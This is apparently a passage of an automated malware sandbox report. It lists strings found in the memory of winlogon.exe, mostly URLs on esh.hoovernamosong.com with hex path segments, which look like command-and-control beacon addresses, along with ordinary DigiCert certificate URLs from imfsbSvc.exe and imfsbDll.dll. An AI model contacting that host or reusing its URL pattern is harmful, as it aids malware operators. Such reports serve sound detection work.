Source: winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007E312D00000000007E312Di
Source: winlogon.exe, 00000007.00000003.3010853735.0000025DD8960000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2973920672.0000025DD8960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAE
Source: winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAE21G
Source: winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAEI
Source: winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F0BAE00000000007F0BAEt4
Source: winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F959F00000000007F959F
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F959F00000000007F959F21G
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007F959F00000000007F959Fft
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: winlogon.exe, 00000007.00000003.2000513636.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159758283.0000025DD7D45000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671430120.0000025DD8992000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D23000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2735016113.0000025DD8992000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3072189853.0000025DD8960000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/
Source: winlogon.exe, 00000007.00000003.2000513636.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D23000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937655427.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000513636.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945339271.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945339271.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937655427.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006A9DE200000000006A9DE2
Source: winlogon.exe, 00000007.00000003.2112188658.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937655427.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000513636.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945339271.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006A9DE200000000006A9DE2w
Source: winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273358268.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659476894.0000025DD7D94000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECC
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECC)F
Source: winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006BEECC00000000006BEECCDrive=C:SystemRoot=C:
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273358268.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006C533300000000006C5333
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006C533300000000006C53337
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006C533300000000006C5333Drive=C:SystemRoot=C:
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006C533300000000006C5333fu
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006C533300000000006C5333mp
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273358268.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006C533300000000006C5333t
Source: winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0F
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440833811.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286411263.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564758005.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273358268.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659476894.0000025DD7D94000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0FKD
Source: winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0Fcrosoft
Source: winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006D7A0F00000000006D7A0FingWud
Source: winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006FDB1200000000006FDB12
Source: winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000006FDB1200000000006FDB120.30729;
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613246139.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327054367.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007067B200000000007067B2
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2172795627.0000025DD7D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007067B200000000007067B29
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007067B200000000007067B2B
Source: winlogon.exe, 00000007.00000003.2399460401.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511318334.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2227566835.0000025DD7D93000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456222947.0000025DD7D95000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 